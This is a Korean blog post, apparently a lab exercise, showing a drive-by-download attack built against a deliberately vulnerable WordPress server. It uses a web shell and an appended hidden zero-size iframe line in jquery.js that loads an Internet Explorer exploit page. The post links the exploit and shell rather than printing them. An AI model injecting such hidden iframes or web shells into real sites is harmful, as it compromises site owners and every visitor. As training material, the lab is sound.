2018. 6. 12. 15:56ㆍ악성코드 분석
Drive By Download (DBD)
웹 사이트를 방문하거나 이메일 메시지를 볼 때 또는 유혹하는 팝업 윈도우를 클릭할 때 발생한다
해커들은 악의적인 코드를 숨기기 위해 다양한 기법들을 사용해서, 바이러스 검사 소프트웨어가 인식하지 못하게 한다.
이 코드는 숨겨진 iframes에서 실행되며 탐지가 되지 않을 수 있다.
[ 실습 ]
InternetExplorer version6 & 8을 사용한다
희생자 서버 : winXP에서 APM을 통해 생성한 wordpress서버( 10.0.2.15 )
공격자 서버 : 칼리리눅스
[1] 실습을 위해 취약점이 존재하는 서버를 하나 생성한다
- APM 설치 -> Apache & PHP & MySQL 모두 설치하는 통합 프로그램
- 먼저 서버의 DB에 wordpres DB를 생성한다
[2] 워드프레스 웹 사이트에 파일업로드 관련 취약점을 생성한다
- 인터넷 익스플로러에서 워드프레스 페이지에 접속 ( http://ServerIP/wordpress )
- 홈페이지에 파일 업로드 취약점을 생성하는 zip파일을 올린다 -> 희생자 서버는 현재 파일업로드 취약점을 가지고 있다
[3] 공격자서버에서 curl명령을 통해 악성파일을 업로드한다
공격자서버는 칼리리눅스를 사용했다 ( 참고 https://www.exploit-db.com/exploits/36979/ )
[4] 공격자 서버에 지정된 위치에 웹쉘 파일이 올라가졌고 해당 주소로 이동하면 웹쉘을 실행시킬 수 있다
아래는 칼리리눅스에서 희생자 서버의 페이지로 접속하여 웹쉘을 실행시킨 화면이다
( 웹쉘파일 : https://github.com/tennc/webshell/tree/master/php/b374k )
[5] 파일 수정 -> DBD구현
웹쉘을 통해서 서버 자원을 수정할 수 있는 권한을 얻었고 DBD루틴을 생성하자
아래 화면은 희생자 서버의 메인페이지(http:ServerIP/wordpress )의 소스코드이다
메인 페이지는 스크립트 파일인 jquery.js를 include하고 있다.
jquery.js파일을 수정하여서 DBD를 구현하자
웹셀을 통해서 jquery.js파일을 열엇고 마지막 부분에 코드를 추가한다
document.write("<iframe src=http://10.0.2.15/wp-includes/js/jquery/attack/re.html width=0 height=0> </iframe>");
jquery.js파일이 re.html 페이지를 참고하도록 한다 ( width와 height는 0이기 때문에 사용자의 화면에는 보이지 않는다 )
re.html페이지에는 아래 코드를 옮겨넣는다
( https://github.com/hakawati/script/blob/master/attack/CVE-2012-1889.html )
또한, 익스플로잇을 통해서 카카오톡pc버전 다운로드 페이지로 이동시키는 페이로드를 얻는다
웹쉘을 통해서 re.html을 작성한다
DBD설치는 모두 끝났다.
희생자서버의 메인페이지로 접속해보자
[ 결과 ]
경고창 두개를 확인할 수 있고, 카카오톡 pc버전이 다운로드 되어질 것이다
물론 화면에 보이지 않지만 다운로드로 인해서 로딩이 길어지는 것이 확인된다
경고창은 어디서 왔을까 ?
우선 DBD의 실행 절차를 확인해보자
제일 먼저 희생자서버의 메인페이지 ( http://10.0.2.15/wordpress ) 로 이동한다
해당 페이지는 내부적으로 jquery.js 파일을 include한다
우리는 jquery.js파일을 수정하여서 jquery.js파일이 re.html파일을 자동으로 참고하도록 했다 ( ifram 사용 )
jquery.js 파일에서 re.html을 참고하고 malware Installed 경고창을 출력
re.html에서 카카오톡pc버전다운로드 페이로드를 실행하기 전에 attack start 경고창을 출력한다
'악성코드 분석' 카테고리의 다른 글
파일 시스템 개념 정리 (0) | 2018.07.05 |
---|---|
Memory Forensic [ OS란 ? ] (0) | 2018.05.23 |
하이브리드 후킹 ( Kernel을 이용한 User IAT 후킹 ) (0) | 2018.05.21 |
DeviceDriver MajorFunction 후킹 [ netstat ] (0) | 2018.05.15 |
RootKit [ SSDT Hooking 실습] (0) | 2018.05.13 |